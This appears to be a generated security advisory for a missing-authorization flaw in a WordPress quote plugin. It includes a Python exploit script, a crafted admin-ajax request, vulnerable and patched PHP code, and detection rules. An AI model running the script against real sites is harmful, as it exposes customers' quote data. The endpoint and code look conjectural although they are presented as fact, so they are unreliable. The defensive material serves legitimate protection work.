CVE-2025-31406

Executive Summary

CVE-2025-31406 is a Missing Authorization vulnerability in the ELEX WooCommerce Request a Quote plugin for WordPress, affecting versions up to and including 2.3.9. This flaw allows an unauthenticated attacker to exploit incorrectly configured access control security levels, potentially leading to unauthorized access to sensitive quote data or functionality. The vulnerability is classified as a WordPress ecosystem issue, not related to the underlying web server (Apache/Nginx). With a CVSS score of 4.3 (Medium), the risk is elevated due to the lack of authentication required for exploitation. No public proof-of-concept (PoC) or exploit code is currently available, and the patch status remains unknown.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. As a WordPress ecosystem component, it introduces supply chain risks for any site using the plugin. Organizations should verify the integrity of their plugin installations and monitor for updates from the vendor (ELEXtensions). No OSV or GitHub advisory data is available, indicating limited public disclosure.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No victim action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The low EPSS score (0.0%) suggests limited active exploitation, but the missing authorization nature makes it attractive for automated scanning.

Deep Dive & Mechanics

The vulnerability resides in the ELEX WooCommerce Request a Quote plugin, which allows customers to request quotes for products. The plugin fails to properly enforce authorization checks on certain AJAX actions or REST endpoints, allowing unauthenticated users to access or manipulate quote-related data.

Root Cause: The plugin uses WordPress AJAX hooks (e.g., wp_ajax_* and wp_ajax_nopriv_*) without verifying user capabilities. Specifically, the nopriv handler (for unauthenticated users) may expose functions that should require authentication.

Attack Vector: An attacker sends crafted HTTP requests to the vulnerable endpoint, bypassing access controls. For example:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=elex_raqu_view_quote&quote_id=123

Impact: Unauthorized reading of quote details (customer name, email, product list, pricing), potentially leading to data leakage or further attacks.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.3.9):

add_action('wp_ajax_nopriv_elex_raqu_view_quote', 'elex_raqu_view_quote_handler');
function elex_raqu_view_quote_handler() {
    $quote_id = $_POST['quote_id'];
    // No capability check
    $quote = get_post($quote_id);
    echo json_encode($quote);
    wp_die();
}

Patched Code (Hypothetical):

add_action('wp_ajax_nopriv_elex_raqu_view_quote', 'elex_raqu_view_quote_handler');
function elex_raqu_view_quote_handler() {
    // Add nonce verification and capability check
    if (!wp_verify_nonce($_POST['_wpnonce'], 'elex_raqu_nonce')) {
        wp_die('Invalid nonce');
    }
    if (!current_user_can('read_quote')) {
        wp_die('Unauthorized');
    }
    $quote_id = intval($_POST['quote_id']);
    $quote = get_post($quote_id);
    echo json_encode($quote);
    wp_die();
}

Exploitation & Lab Setup

Red Team (Exploitation)

1. Reconnaissance: Identify WordPress sites using the plugin via Shodan dorks or WPScan.
2. Endpoint Discovery: Enumerate AJAX actions by analyzing plugin source or using wordlists.
3. Exploit: Send a crafted POST request to wp-admin/admin-ajax.php with the vulnerable action.

Example Exploit (Python):

import requests

target = "http://target-site.com"
action = "elex_raqu_view_quote"
quote_id = 1

data = {
    "action": action,
    "quote_id": quote_id
}

response = requests.post(f"{target}/wp-admin/admin-ajax.php", data=data)
print(response.text)

Blue Team (Detection & Defense)

• Monitor AJAX Requests: Log all admin-ajax.php requests, especially those with unknown or suspicious actions.
• Implement WAF Rules: Block requests to admin-ajax.php with actions not whitelisted.
• Harden Plugin: Apply principle of least privilege; ensure all AJAX handlers check capabilities.
• Update Plugin: Watch for patches from ELEXtensions.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-ajax.php with action=elex_raqu_view_quote or similar.
  • Unusual quote IDs in requests (e.g., sequential enumeration).
• File IOCs:
  • Plugin file: /wp-content/plugins/elex-request-a-quote/
  • Suspicious log entries in WordPress debug log.
• Behavioral IOCs:
  • Unauthorized access to quote data without valid nonce or authentication.

Detection Engineering

YARA Rule

rule Detect_ELEX_Quote_Vuln {
    meta:
        description = "Detects vulnerable ELEX WooCommerce Request a Quote plugin files"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-31406"
    strings:
        $ajax_hook = "wp_ajax_nopriv_elex_raqu" nocase
        $no_cap = "current_user_can" nocase
    condition:
        $ajax_hook and not $no_cap
}

Sigma Rule

title: ELEX WooCommerce Request a Quote Missing Authorization
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2025-31406
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=elex_raqu'
    condition: selection
falsepositives:
    - Legitimate plugin usage
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2025-31406 ELEX WooCommerce Request a Quote Missing Authorization";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=elex_raqu"; http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate Actions:

   • Disable the plugin until a patch is available.
   • Implement a Web Application Firewall (WAF) rule to block suspicious AJAX requests.
   • Restrict access to admin-ajax.php via .htaccess or server config.

2. Long-term Fix:

   • Apply the vendor patch when released.
   • Conduct a code review of all AJAX handlers to enforce capability checks.
   • Use WordPress nonces for all actions.

3. Monitoring:

   • Enable WordPress debug logging temporarily to capture exploitation attempts.
   • Review server access logs for anomalous patterns.

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